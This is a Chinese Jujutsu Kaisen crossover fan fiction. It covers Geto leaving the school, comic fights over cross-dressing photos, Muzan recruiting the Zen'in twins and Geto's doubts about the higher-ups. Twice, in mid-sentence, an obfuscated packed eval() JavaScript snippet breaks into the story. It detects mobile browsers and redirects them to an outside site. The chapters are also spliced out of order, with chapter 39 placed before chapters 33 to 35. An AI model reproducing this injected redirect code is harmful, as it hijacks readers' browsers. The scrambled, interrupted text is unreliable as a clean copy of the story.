“哦,听硝子说,你要退学了?” 五条悟脸上的墨镜有些滑落,但还是稳稳地被架在鼻梁上,只是露出一半湛蓝的双眼,视线似乎想往对方那里看。但五条悟的眼神掩饰性地转了一圈,最后只是落回灰扑扑的石阶上。 夏油杰也是一样,只不过,他更加从容一些。具体体现在,他平和的目光确确实实落在五条悟脸上,然后顿住了几秒,接着又被移开。 “是啊。”夏油杰像是松了口气,又被沉甸甸的思绪侵扰着,“虽然高层那边审核退学申请的效率肯定慢的不行,但我还是很快就要走了。” “……就这几天?” 五条悟质疑着,皱着眉头把脑袋扭了过去。 “就在今天。” 夏油杰没有犹豫,只是放慢了语速,坚决中带着点不舍。 五条悟龇牙咧嘴了半天,五官扭曲的程度跟吃了十倍酸度的柠檬差不了多少。但作弄了半天,夏油杰还是那副温温沉沉的样子。 不算活泼,但也并不虚弱。 只是温和,还有更多的深沉。 五条悟真心实意地叹了口气,把脸迈进臂弯里,眼睛直勾勾地盯着灰暗的石阶。 “这也太突然了吧,杰!” 五条悟猛地扭头,十分不满地盯着他。 “而且我居然是最后一个知道的 ! ! ! 你居然没有自己打电话给我 ! ! ! 连什么什么告别信之类的东西还是拜托硝子的 ! ! ! ” 五条悟满脸控诉,又恢复了以往活泼的样子。 “我在你眼里就这么幼稚吗? ! ! ! ” 夏油杰默默将目光移开。 又是长久的沉默。 五条悟再次,重重,叹气,呼吸起伏声非常明显地表示自己现在的不满。 “那你离开高专之后,准备去干什么?” 夏油杰浅浅回应,两人间的气氛正常起来。 “嗯……今天,九十九前辈提出我可以去她那里帮忙。” “九十九由基?”五条悟眼眸一撇,面上怀疑,“怎么她也搅和进来了?” “而且这家伙不怎么看得上高专的作风吧?” “这样啊……”夏油杰点点头,示意自己明白了,“所以我还在考虑……最好可以是合作关系。但这样的话,我确实要另觅他处。” “不管是合作还是隶属,你跟九十九走太近,高层那边不是要炸了?” 五条悟下半身没动,上半身倾斜着靠过去。 “物理意义上的?” 夏油杰反问。 五条悟咧嘴一笑,确定他还是自己认识的夏油杰。 “物理和心理双重层面上都是吧?” 夏油杰噗嗤一笑,“那岂不是正好?” 五条悟:“我觉得你说的对。” 夏油杰:“我也觉得自己说的很对。” “啊呀烦死了!”五条悟猛地晃了下脑袋,“所以说你到底准备在哪落脚?” “让我想想。”夏油杰还真的非常认真的思考起来,“其实,最好,是已经有了完善架构和情报网络的组织,然后在民间的影响力不能太低到无人问津,但也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506106|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能全是恶评的那种。 最好我一到地方就能直升高层,或者当是最高领导人的那种。虽然是民间组织,但如果能和官方扯上关系就更好了。” 五条悟:“哇。哪个好地方要被你摧残了?” 蓦地,两人浑身一抖,莫名其妙对视一眼,脑海中不约而同地想到了同一个地方。 夏油杰:“……如果是这里的话,再怎么摧残也不过分吧?” 五条悟:“……我觉得你说的有道理。” ………… 盘星教,一切转折开始的地方。 “要帮忙吗?” 夏油杰随性一笑,“我会需要?” 下一秒,电话铃声响了起来,夏油杰往手机上一看。 来电人:家入硝子。 夏油杰:…… 夏油杰非常聪明地没有直接挂掉电话,只是把手机静音,转头面对五条悟。 “总而言之,我应该已经准备好了……是这样的。” “这里就交给你了呢,悟。” 五条悟无奈地看着他,但又不会被这种无奈束缚太久。 “好好好,我也会认真起来的。” 两人交过心后,夏油杰坐着他的咒灵火速飞走了。 五条悟:不是,他走那么快干嘛? 下一秒,五条悟的电话铃声也响了起来,低头一看,还是家入硝子打来的。 “喂,硝子,有什么……” “夏油杰在不在你身边。” 五条悟还没意识到会发生什么。 “不在,他刚刚走了。” 家入硝子此时正站在自己的实验桌前,右手拿着手术刀比着刀花。 “是吗。” “那正好。” 家入硝子张嘴,把抽完的烟吐到垃圾桶里。 “你来我这边一趟。” 39.第 39 章 “诶诶诶诶! 硝子!冷静————” “我冷静个毛线啊五条悟!” 家入硝子难得摘下了她的口罩,棕色的刘海末端浮在眼睫上方,并随着人体的移动摇摇晃晃的。 “我说怎么我去年莫名其妙少了两套校服,靠! 是你们的尺码吗?就穿!” 五条悟紧紧抓住被家入硝子拍到桌上的文件夹,抬起来遮住脸,时不时露出一双眼睛观察她。 “那我们后面不是帮你向夜蛾再次申请校服了嘛! 硝子真是的,不要看不见我们的好啊!” “哦,你还好上了?”家入硝子由于多吸了几根烟,声音带着点沙哑,“我以前只是以为你俩是人渣,没想到你俩还是变态啊?!” 家入硝子的表情顿了一下,转念似乎又想起什么。 “对了,我跟着那两件衣服一起找不到的化妆品呢?” 五条悟的视线一股脑地往上方撇,在意识到逃不过去的时候,默默后退了两步,避免对方直接拿手术刀丢自己。 “那衣服穿都穿了,不得要化点妆的吗?” 家入硝子扶着桌子忍不住笑了起来,“你倒是有理了。 那你们化完之后呢?整版的粉底腮红和眼影呢,就没啦? 你俩那大脸盘子能一下子消耗我半年的分量吗???” 五条悟的视线可疑地移开,然后在家入硝子愈发凝重的注视下终于转了回来。 ………… “诶呀!”五条悟发出一声怪叫,“因为杰他化妆技术真的很丑嘛!我说他两句他还不高兴了! 然后我准备给他露一手嘛,然后就那个了嘛,手劲儿太大把里面那粉饼压碎了嘛……” 五条悟尴尬地笑了两声,瞅着家入硝子沉默的样子,尝试为自己辩解。 “不是故意的啦硝子…… 而且我俩在那天之后,还去专柜给你挑了新的化妆品呢!” 家入硝子干巴巴地笑了一声,感觉在生活中那些莫名其妙发生的,同时,又不是很正经的诡异事件,只要安在这俩人渣头上,似乎都能得到解答。 “我说呢…………” 家入硝子深深叹了一口气,深感果然,人在无语的时候真的会笑出声来。 “五条悟,我说呢……” “诶?” 家入硝子卷起袖子,咬牙切齿,“我说呢,我想我的审美也没差劲到那种地步,我居然在我的化妆包里看见了一盘巨不显色的眼影,和另一管超级显黑的口红。 为了防止我是不是熬夜把脑子熬出问题了,我还特意去了线下专柜问工作人员。” “这种颜色怎么可能出现在我这里?都快把我整不自信了哈,五条悟夏油杰,你们两个真是好样的!” 五条悟举起双手,并将锅甩给了现在不在场的夏油杰。 “是杰他挑的,我还劝过他来着!” 家入硝子表示不信,“就你?你能比他好的到哪去?” “我还是有实力的,硝子你不能这么说我。” 五条悟低下头,手指在手机屏幕上划了半天,终于在相册里找到一年前的照片。 “哝,你看。 这是我给杰化的,是不是很好看嘛!” 五条悟举着手机,把屏幕凑到家入硝子面前,满脸都是“不愧是我连化妆都能化得这么好看”的表情。 家入硝子定睛一看…… 嚯,这是夏油杰? 如果说五条悟的脸型相对比较柔和,骨骼感一般,也就是俗称的娃娃脸。那么夏油杰的脸则是靠骨相撑起来的,下颌清晰硬朗,五官立体,是标准的盐系帅哥。 所以,这种脸型向来是不适合扮女相的,很容易出现上妆上到一半,五官过于别扭而产生金刚芭比的既视感。 而面对这种情况,五条悟选择用深阴影来模糊下颌线的存在,并通过加深眼窝四周及鼻侧阴影,进一步加深五官的立体感。随后又用夸张的眼影配色来填充眼周并为眼部塑型,眼线走向选择在夏油杰原本眼型的基础上继续上挑,配合厚重但有层次感的烟熏妆。 你别说,你还真别说。 浓颜系狐狸美人。 不过照片应该是特地凹了角度才能达到这个效果。原相机无美颜,还是十分直男的怼脸拍,再加上五条悟的手机像素很好,把夏油杰脸部的瑕疵和化妆品的厚重感都拍了出来,但看着仍然很震撼就是了。 虽然在家入硝子看来,这上妆的手法还略显稚嫩,很多地方的细节还没有处理好。 但不得不承认,这家伙的审美是顶级的。 家入硝子心里迷茫了, 这就是五条悟? “哈哈!”五条悟双手叉腰,十分得意地笑道,“我就知道我化的不错,连硝子都被折服了耶。” 好吧。 家入硝子内心轻哼一声。 果然是五条悟。 “照片发我一张。”家入硝子的面上露出了迷之微笑,“我要和学姐们分享一下。” “没问题。”五条悟非常爽快。 在照片发出去之后,家入硝子盯着他笑,勾了勾手。 “你自己都说了你俩一起的,那夏油杰手机里有没有你的女装照片?” “我没注意,那个时候光顾着嘲笑杰的审美了。” 五条悟摸着下巴,思考了两下。 “不过按他的个性,包会留照片的好吧。” “那家伙不接我电话。”家入硝子冲五条悟抬了抬下巴,“你打一下,看他会不会接。” “好哦。” 五条悟果断拨打电话,出乎意料的是,电话声响了两下,然后就被接了起来。 但没想到的是,那边传来了嘈杂的人声,然后夏油杰的声音恍恍惚惚地出现了两下,又模糊起来。 “杰!你听得到吗?” “喂…………喂喂喂,不行啊悟……信号不好,我先挂了啊,正忙着呢。” 然后电话被挂断。 五条悟&家入硝子:………… ……演技好差。 “不行。”家入硝子今天铁了心的,要从夏油杰手里拿到五条悟的女装照,于是让五条悟继续打电话,自己则是对夏油杰进行信息轰炸。 【家入硝子:夏油,给你个机会,把五条悟的女装照交出来。不然就把你的女装照发到高专群里。】 【夏油杰:?等等,你已经拿到啦?】 【家入硝子:不然?五条悟这个人渣又不像你这么要面子。】 【夏油杰:…………】 【家入硝子:搞快点,别磨磨唧唧的。】 【夏油杰:你以为我傻吗硝子,你现在肯定已经发了,说不定在群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14507564|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里发完之后,还会挨个@每个群员。】 【家入硝子:这不更说明了,你现在急需五条悟的女装照,冲散同学们的注意力嘛。】 夏油杰转念一想,也对。 于是转头对家入硝子发起图片轰炸,其中包括极其死亡的怼脸拍角度,半身像,全身像,偷拍视角下的搞怪动作。 好不容易找到了一张还算端正的正脸照,家入硝子一看五条悟的脸,顿时破功了,撑着桌子艰难憋笑。 五条悟一头雾水,随后快两步走到家入硝子身后,去看她的手机屏。 “我靠 ! ! ! 这也太丑了吧——————” 只能说,这个妆面,很符合家入硝子对钢铁直男的刻板印象。 粉底液糊了厚厚的一层,随后眼线把半个眼皮都填满了,眼影糊到眉骨上,这里浓那里淡的。腮红更是直接简单粗暴地在面颊中间涂了两个圆圈,和白得死气沉沉的粉底液一配合,成功衬托出了又白又红的大脸盘子。 家入硝子无法控制住五官的扭曲,只能捂着脸靠在墙面上,尽力不去看五条悟。 她怕自己一瞅见对方就会笑场。 “哈哈哈哈哈哈———— 五条悟…………呃,没关系——噗嗤,咳咳,没事。 ……你天生丽质,哈哈哈哈 ! ! ! ” “硝子 ! ! ! ” “不行,越看越丑…… 得赶紧让大家一起品鉴一下。” 五条悟撇着嘴,十分不情愿地任她去了,然后将怨气发泄在罪魁祸首夏油杰身上。 【五条悟:杰! 你好过分啊 ! ! ! 我给你化的那么好看,你化的也太丑了 ! ! ! 】 【夏油杰:…………所以你在乎的原来是不好看这点吗?】 【五条悟:不然呢?主要真的很丑啊。】 【夏油杰:你难道不觉得,男生的女装照要被发群里,还要被同学老师们一起看到。很会丢脸的吧?】 【五条悟:可是我化的确实很好看啊!】 【夏油杰:重点不是这个啦!】 【五条悟:对对对,重点就是,你有病吧,杰!特意给我留点难题,让我不至于太过悠闲是吧? 啊啊啊…………我为什么要给你售后服务啊……】 夏油杰莫名心虚,随后选择潜水。 【五条悟:你起码告诉我另外几个那边会发生什么吧? 杰? 不回我? 可恶啊啊啊 ! 】 五条悟怒而摁掉手机,觉得现在高专不是很能待得下去了,自己得出去避避风头,不然等会夜蛾老师的铁拳就要砸下来了。 不过,去哪里呢? 五条悟摸着下巴沉思。 一个人的话,总感觉玩什么都没意思;做任务的话,我现在可不想给高层的老东西打工;五条家的话,本来就不是很想去…… 嗯,不对。 无惨那家伙是不是现在还在五条家? 有意思,找他玩算了,顺便还能跟十种影法术见上一见。 五条悟思考了一下这两天本来要处理的事情,十分简洁地给夜蛾正道发了个信息,说明情况并拜托他照顾一下已经到高专的加茂宪纪和禅院姐妹,最后十分没心没肺地把手机关机,一个瞬移消失在原地。 33-40 第33章 第 33 章 恨意连绵不绝…… “再怎么说, 我也比你看着要和善吧?你难道是那种特别喜欢小孩子的类型吗?” “你还在纠结这个问题?”鬼舞辻无惨白了他一眼,对此感到无语。 “不是。”五条悟干脆利落地反驳,并用六眼将禅院真希上上下下扫视了一遍。 跪在他面前的禅院真希:谢谢, 完全不敢动。 “嗯?”五条悟发出一声疑问, “你身上的咒力波动有些奇怪。” “等等……” 五条悟嘴角一抽, 似乎明白了什么。 “大人,我是用咒力换取身体素质提升的天与咒缚。” 禅院真希低着头, 扎起的长发散落在肩膀上。 “……你也是天与咒缚?” 禅院真希听见他的声音有些不太对劲,微微抬头,却见对方面上的五官都快拧在一起, 墨镜被脸上的褶皱堆叠得翘起, 眼睛眯成一条缝。 五条悟:有病吧!身体素质方面的天与咒缚是大白菜吗?走了一个又来一个。 鬼舞辻无惨带着调侃似的笑容,走到他身边。 “怎么, 你有心理阴影?” “怎么可能!” 五条悟急忙嚷嚷到,随后声音便低了下来。 “就, 最多最多,会觉得,有那么一点点糟糕而已,真的就只有一点点!” 五条悟极力强调, 转头一看, 鬼舞辻无惨的笑容半点没变。 “哦。所以你就是有心理阴影了, 对吗?” 五条悟嗤笑一声,心里先把鬼舞辻无惨骂了一遍, 随即理直气壮地追问。 “怎么?不行吗?” 五条悟曲臂肘击鬼舞辻无惨的肋骨, 无果后凑上去,试图用自己漂亮的湛蓝色眼睛压制他。 “我可是差点就死掉了诶?有点应激不行吗?很正常的吧!” 鬼舞辻无惨伸手,抵着他的肩膀, 把五条悟那张愈发凑近的脸推开一些。 “怎么跟布偶一样。” 五条悟:? “谁家猫咪能随手干碎特级咒灵啊,你不要转移话题。” 五条悟轻哼一声,将目光转移到禅院真希身上。 “你身上仍有咒力痕迹,并不是彻底的零咒力。” 五条悟的目光在真希真依两姐妹之间流转一圈,挑了挑眉。 “是双生子啊,怪不得。天与咒缚的实力未能完全释放,无法完全舍弃咒力,因而身体强化未能达到极致。但又因为咒力微弱,甚至可能连咒灵都看不见。” 又联想到禅院家的畸形氛围,五条悟心下了然。 五条悟摸着下巴,审视的目光给禅院真希看得紧张起来。 “事先说明,我们俩可不是慈善家。 先回答我,你为什么想跟着这家伙走?” 禅院真希直视五条悟的眼睛,声音稚嫩但坚定。 “我要变强! 我要否决禅院家的一切! 我要任何人都不能欺负我、侮辱我!” 五条悟:“很好,很有精神。” 五条悟歪了下头,“诶,无惨,我觉得这姑娘不错哦。” “你呢?” 至今,鬼舞辻无惨没有发表任何看法,幽幽的红眸只是若无其事地在真希的身上扫过一下,随后便归于沉寂。 “你说你想变强?” “是!”禅院真希的声音铿锵有力。 “我想你应该清楚,是双生子限制了你的潜力。 你想变强,很简单。” 鬼舞辻无惨慢慢笑了起来,连向来冷漠的红眸之中都蓄满了笑意,嘴角勾起,显出几分兴味。 “杀了你的妹妹。” 眼见禅院真希要开口,骨刺瞬间扫出,捂住了她的嘴。 骨刺缠得很紧 “同样的,你的妹妹想要变强,只要杀了你便可。 我能感觉到两位血液中的联系。” 鬼舞辻无惨终于,瞳孔发亮,那一抹血色出奇的惊人。 禅院真希的瞳孔微微放大,蓦地明白,哪怕是在禅院家之外,强者从来都不是善人,他们制定规则,并成为规则本身。倘若弱者觉得对方友善而亲切,那么只有一种可能。 便是自己从未进入过对方的视线。 自己不切实际,自不量力,自以为能通过对方逃出禅院家这个火坑,但殊不知,自己已然靠近恶的中心。 禅院真希双手死死扒住骨刺的边缘,细嫩的掌心被骨刺的突起扎出一个个血洞。 但她仍在努力抓着,奋力撕扯着。 下一秒,一道蓝光闪过,骨刺瞬间被截断,五条悟收回手,插进兜里。 “喂喂,不用这么唬人吧?” 两人的视线碰撞在一起。 五条悟撇撇嘴,低声抱怨。 “我果然受不了你这种发疯的样子,别忘了你自己说过的,只有蠢货才会通过欺压弱者来获得优越感。 欺负两个小女孩,嗯?” 鬼舞辻无惨轻哼一声,将骨刺慢悠悠收回。 禅院真希的身子“砰”的一下落在地上,脸颊上和嘴边一片通红,还泛着丝丝血渍。她张着嘴,试图大口呼吸来缓解身体的不适,但一张口,嘴边的伤口就泛着丝丝的疼痛,逼得禅院真希被迫捂着嘴巴咳嗽,身子一抖一抖的。 禅院真依拨开周围的人,跑到姐姐身边,扶着她的肩膀。 “姐姐!好疼……我给你找药……” 禅院真依的声音颤抖起来,眼泪吧嗒吧嗒落下。她快速地深呼吸几下,咬牙切齿,面向鬼舞辻无惨。 稚子虽幼,却已然明善恶而知决意。 “我绝不会杀害姐姐!” 禅院真希疼的说不出话来,只是伸出一只手,用力握住妹妹的手掌。 鬼舞辻无惨就像是那个铁石心肠的恶人,对姐妹情深的局面没有丝毫的动容。 “倘若连这都做不到,你二人就只能终其一生,只停留在半吊子的领域,没有丝毫前进的可能。” 禅院真希的咳嗽声停了下来,比起妹妹,她显然更坚决,也更大胆。 “没有妹妹的陪伴,哪怕成为最强也毫无意义。 无法给妹妹带来更美好的未来,所有的力量都是毫无用处。” 说着说着,禅院真希甚至不顾唇边的疼痛,硬生生撤出一个笑,在原本稚嫩的面孔上凝聚出了一个既坚决又恐怖的笑。 “……你这么期待着我们姐妹相残,不会是因为你自己就是一个没有家人陪伴,只能孤独终老的家伙吧?” 禅院真希说着,自己都忍不住笑起来,嘴边淌出血,连笑声都是一顿一顿的。 “或者,你的家人也视你如累赘?” 鬼舞辻无惨收起了脸上的笑。 此时此刻,杵在一旁观看了全程的五条悟: (日式粗口)这小姑娘胆识过人啊。 行,要是等会这老东西还要发疯,我保你一手。 在场所有人,禅院家的族人,包括五条悟,都以为鬼舞辻无惨会直接解决这对本就不幸的姐妹。 但事实是,鬼舞辻无惨定定地看着对方,良久,并没有出手,反而是笑的更平和了。 五条悟:? “很好的恨意,我有些感兴趣了。” 禅院真希一咬牙,总感觉自己的全部恨意像是打到棉花上一样,不疼,但难受的让人想把他狠狠揍一顿,来发泄心中的不满。 “不过这还远远不够。” 五条悟:等等,所以你是……受虐狂吗? 当然,这话五条悟不敢当面说,只是在心里暗暗吐槽到。 “想曾经,我可是被无边的、绝对的恨意追逐了上千年。” 鬼舞辻无惨轻声叹息,感觉生活果然不能一成不变。 “所以,我不介意两位把我当成最终的敌人,因为我向来知晓这一点。” “那么,另一个疑问:无论如何,绝对,不会放弃彼此吗?” 姐妹俩相视一眼,并不清楚对方脑子里在思考些什么,但不约而同地用力点了下头。 弱者。 恨意。 弱者的恨意连绵不绝,药剂,阴招,纠缠,至死方休。 爆炸的火焰,逐渐破碎的无限城,和…… 天边,东方那光亮起的地方。 太阳照常升起。 太阳终将升起。 所以,那光芒之下,众生平等。 鬼舞辻无惨低声轻笑。 死亡终将如期而至,他始终知晓这一点。 鬼舞辻无惨将目光转向禅院家家主。 “这对姐妹的身份不一般吧?在前些日子,我杀的人之中,是否有她们的血亲?” 眼见禅院家家主点头,鬼舞辻无惨并没感觉到任何不满。 “正好,新仇旧恨可以一同结算,我对此并不介意。,” “如今,当由我发出提问。” “愿意跟我走吗?” 禅院真希死死盯着他的眼睛,心里的决意反而有所动摇。 但今日之事一出,所有族人都知道,她们姐妹二人心无禅院家,她们的处境反倒是会更加艰难。 但如此,一无所知,前往恶的中心,就可以高枕无忧吗? 答案是否定的。 而这时,禅院真依出声,握住了她的手。 “姐姐。” 禅院真依注视着她,向她说明。 “我们要离开禅院家。 我们要一直在一起。” 禅院真希闭上眼,缓缓呼出一口气。 随即,她的目光如炬,直直看向那双血色的眸子。 “我愿意。” 然后,是禅院真依。 “我也是。” 很好。 加茂家之行,两人拐回来一个小孩。 禅院家之行,又拐回来俩。 把两姐妹送上了去高专的车后,两人重新蹲回禅院家门前的小角落。 “你这人心思还真是难猜。” 五条悟无聊地戳着鬼舞辻无惨的腿。 第34章 第 34 章 退学?谁?杰?…… 鬼舞辻无惨踹了他手臂一下, 成功让五条悟炸毛。 “我倒是觉得我的想法挺好猜的。 就比如现在,我不信你不知道,我肯定想让你滚远点。” 五条悟笑的十分灿烂, 一点也没考虑对方确实很烦自己这个现实。他一下子跳起来, 并用手臂怼了一下鬼舞辻无惨的肩膀。 “你受虐狂啊, 逗人家小姑娘干什么?” 鬼舞辻无惨默默远离他两步,无奈五条悟下一秒就追了上来。 “天与咒缚可不是什么小姑娘, 我期待她给我带来的表现。” 五条悟叹了口气,选择不和他死磕。 “对对对,你说得对。” 五条悟:微笑。 果不其然, 被对方无视了。 但也没什么关系, 反正这两天的经历已经够充实了的,而且昨夜还一宿没睡, 有反转术式也不能这么搞的嗷。 五条悟昂着头打了个哈欠,随即从口袋里掏出手机, 准备叫个车把自己送回高专补觉。 然而,掏出手机一看, 未 接 来 电 。 是家入硝子的,因为手机静音了, 刚刚没听见, 但对方并没有再打第二通电话, 估计也不是什么非常重要的事。 这个观念一直持续到他看见家入硝子发来的信息,上面清清楚楚写着一行字: 【打电话不接, 好你个五条, 那这样,夏油的那封退学前的告别信,我就帮你扔了哈。】 人类的阅读速度很快, 整理信息的能力也很迅速,所以直到五条悟意识到自己看了什么的时候,已经晚了。 五条悟:什么?退学?!谁?杰??? 五条悟顿时五官狰狞,连点开通话界面,打给夏油杰。 还没等对面说话,五条悟顿时就是一个吼出声。 “杰 ! ! ! ! 你在说什么啊———— 谁要退学?你吗?啊? 你等着我立刻就回去嗷!” 五条悟风一样地瞬移走了,行动轨迹扬起一阵风,鬼舞辻无惨叹了口气,揉了揉耳朵,感慨来之不易的清静。 夏油杰挂掉电话,定定地注视着既熟悉又带着点陌生的校园,良久,还是感叹,自己果然舍不得这里。 舍不得这里的环境、氛围,也舍不得这里的人。 但他有自己的事要做,身在局中,许多事往往身不由己,是时候跳出这个局面了。 一段时间前。 夏油杰昨夜同样一宿没睡,再加上这几天经历离奇曲折,跌宕起伏,基本没睡过几场好觉,眼下的黑眼圈重的可以无缝出演熊猫,连声音也变得蔫蔫的,没了活力。 不过九十九由基和他倒是两个极端,看着就活力满满,一头金发都带着旺盛的生命力。 “那前辈是为什么脱离咒术高层,自己单打独斗呢?” 九十九由基撇开最嘴,右手摸了两下下巴,脑子沉浸到几年前的事情,没用多久,就释然了,用像是跟小辈们打趣一样的语气回答到。 “嗯……也没有多大的原因吧,就是想自由一点,有些事情想自己去做。” “不过话说回来。”九十九由基侧过身子看着他,将话题转移到夏油杰身上,“说起高层,昨天你是不是申请过会面来着?” “是啊。”夏油杰没什么好隐瞒的,“说实话,早一点的时候,高层的态度不太对劲,我能感觉得出来,在我拒绝他们的拉拢后,我差点被他们软禁起来。 直到,稍稍晚一点的时候,高层那边才松口。” “哎呀,很正常的啦。”九十九由基拍拍他的肩膀,用自己的方式安慰了他两句,“那群老东西整天就喜欢搞权力斗争,拉拢你未果后恼羞成怒,完全有可能的嘛。 不过呢,昨天晚上,五条悟在加茂家打闹了一通,连我这个边缘人士都得到消息了,估计高层那边是怕再对你出手,五条少主会一不做二不休,把整个高层连窝端了。” “这样,是悟啊。” 夏油杰摆出跟九十九由基同款的撑下巴姿势,声音淡淡的。 “前辈,我可以问您一个问题吗?” 九十九由基十分爽快地回答:“没问题,要问什么?” 夏油杰的思绪稍稍停滞,随即将高层所告知他的话转述出来。 “一年级的两位学弟,因为情报错误而差点丢了性命。 我因而希望和高层沟通,解决情报系统之中的谬误与差错的地方,这样,也是保障官方咒术师的生命安全。” 九十九由基点了点头,她似乎已经明白这位同学在纠结什么了。 “但高层那边给出了一系列的理由,什么由于早期程序的不完善导致积重难返、什么咒力设施的稀缺和难以修缮、信息传输网络牵涉人员过多、所需金额开销过大等等方面,将我的提议拒之门外。” “让我猜猜。”九十九由基摸着下巴看着他,“高层是不是还承诺了,会重视每一位咒术师的人生安全,若有意外殉职的咒术师,也会做好对其家属的补偿和救助措施?” 夏油杰点了点头,天真到让九十九由基忍不住笑出声。 “你真信了?” 夏油杰:“不该信吗?” 九十九由基并不打算去当这个,打破少年人美好幻想的人,但夏油杰目前的状况确确实实有些糟糕。 “嗯……官话啦,那群人说起话来都是一套一套的。什么,绝对不会放弃任何一位尽职尽责的咒术师、会竭尽全力为维持社会秩序而努力,之类的东西,只要他们想说,就可以说,骗骗人又没成本。特别是高层骗骗你们这种小年轻,就更容易了。” 九十九由基嘟囔了下嘴,有些不确定地问到:“你是平民咒术师,会对官方抱有幻想很正常。不过,五条悟不是五条家的少主吗?御三家之间的权利博弈,想来他是很熟悉的。” 夏油杰的眼神被微微放空,逐渐进入了一个虚无的境地。 “那他们那些用来搪塞我的说辞……” “简单点说就是。”九十九由基十分无情地指出,“完善一整个情报系统所需要耗费的人力物力财力过于庞大,与之相比,死几个咒术师,给点补偿金,这才花的了几个钱,一点都不划算。 而且,你不觉得,情报网漏洞百出,也很方便高层处理某些不服管教的咒术师吗?” 夏油杰的瞳孔猛的放大,直接扭头凝视着九十九由基。 总言之,他又联想到咒术高层对高专的针对,但九十九由基的态度,好像高层做出这种事情来并不奇怪,倒是显得他没有见识了。 最终,夏油杰也只能微弱地反驳道。 “怎么可以这样,那可是一条条生命……所有咒术师,不都是保护普通人的力量吗?怎么可以……” 九十九由基见他这幅模样,也不好再多说什么,只是更为用力地拍拍他的肩膀。 “拜托,如果高层真的把所有咒术师都一视同仁,一同培养的话,暗网上就不会有这么多诅咒师了。” 但是夏油杰就像是没感受到她的触碰,只是自己喃喃自语,偶尔对九十九由基所说的话有所反应。 “高层对非势力范围内的咒术师的打压,也会导致咒术师转而走向诅咒师的道路……” 九十九由基火上浇油:“可以这么说,你总结的很到位。” 夏油杰苦笑一声。 “那您呢?您也是因为这个原因离开的吗?” “有一点。”九十九由基摇头否认,“不过也没几个人能逼迫我站队就是了。最重要的还是,我的理念和高层的那些老东西实在沟通不来。” 夏油杰:“您的理念?” “对啊。”九十九由基兴致勃勃地跟他介绍,“高位者的权力博弈,我向来是看不上眼的。还是实验和实业更符合我的兴趣。比如,我最近在研究咒力和身体方面的联系,比如,咒灵,究竟是什么样的存在呢?如何彻底解决咒灵的危害?我最近在研究这个。” 夏油杰对此也很好奇。 “所以,您的研究成果是?” “你要说大进展嘛,那当然没有。”九十九由基轻笑,并不对此感到羞赧,“但在这可是有着一个绝佳的样本,你也知道的,禅院甚尔嘛,听说他最近和五条悟作战的时候,还死了一次,更让人有研究欲望了好吧?” 九十九由基颇有些遗憾地说:“不过可惜,他之前一直拒绝了我提出的研究提议,但我可不会就此放弃。毕竟,零咒力的天与咒缚的样本,全世界就这一个。” “研究禅院甚尔,是为了?” 九十九由基:“为了找出消除咒力的方法。” “是啊……”夏油杰的大脑放空,“没有了咒力,就不会有咒灵,咒术师也就不用牺牲了……” “不过,这很难哦。” 夏油杰苦笑一声:“当然了,听上去就像是个不可能完成的事业。” “但是!”九十九由基总是喜欢说话戛然而止,“伟大的事业是可以循序渐进的嘛。” “比如?”夏油杰略显疑惑地看向她。 “你我都知道,咒力本质上来源于负面情绪,而普通人无法控制负面情绪之中,也无法控制负面情绪中的咒力。 但说到底,负面情绪大多都是因为环境和他人的,只要通过改善这种容易产生负面情绪的环境,就能有效减轻咒灵带来的危害了,不是吗?” 夏油杰点点头,转而又叹了口气,引来九十九由基的询问。 第35章 第 35 章 特级的拉拢。…… 夏油杰深深叹了口气, 像是郁结于心口的困惑仍无法消散,连叹息声中都带着浓浓的不解。 “咒术师,保护非术士么……” 咒术师的职责, 就是保护普通人。 这个曾经可以脱口而出, 被自己坚信的理念, 在此刻,却连说出口都变得无比艰难。 他这迟疑的语气, 引得了九十九由基的疑惑。 “怎么了?你很讨厌正论吗?” 夏油杰听着这话,莫名感觉到好笑。 于是他疲倦的脸上扯出一个无奈的笑,原本长而平的眼睛半合, 被黑眼圈夺取了全部的神采。他们表情是麻木的, 连一丝的变化都没有,仿佛就此停滞在这里。 这样的对话, 上次听到是什么时候来者。 夏油杰沉寂的脑子慢悠悠地转了起来。 对了。 上次和悟一起打球的时候,自己还向他强调了, 咒术师的职责就是保护普通人。那个时候,自己分明能言之凿凿地说着这些正论,那个时候,分明是悟在反驳自己, 毕竟悟最讨厌正论了。 现在呢, 已经轮到别人怀疑他是否讨厌正论了。 自己明明是正论的支持者才对, 怎么变了这么多呢? …… 那是什么时候的场景来着…… 夏油杰深深吐出一口气,彻底闭上眼。 对了, 是在保护星浆体任务之前。 星浆体, 小理子,天与咒缚…… 还有悟成了最强。 这才过了三四天吧?自己怎么变化这么大。 …… 虽然以前一直说着没关系,自己也在为悟高兴。原来他确实是放不下吗? 放不下自己被落在后面, 放不下自己被零咒力打败…… 九十九由基安慰地拍了两下他的肩膀。 “见面的时候就发现了,看你魂不守舍的,怎么,有心事? 还是说,讨厌非术士?” 夏油杰摇了摇头,不是反驳,而是表示,自己也并不知晓。 “……我不知道。” “说来听听呗。”九十九由基并没有嘲笑他的纠结,“毕竟虽然我们都是特级,但姐姐好歹比你多了几年的阅历。 说来听听,咒灵操使在烦恼些什么?” 夏油杰没敢看九十九由基的眼睛,甚至不敢将自身的表情整个展现给对方,毕竟这样,自己脸上的软弱便一览无余。 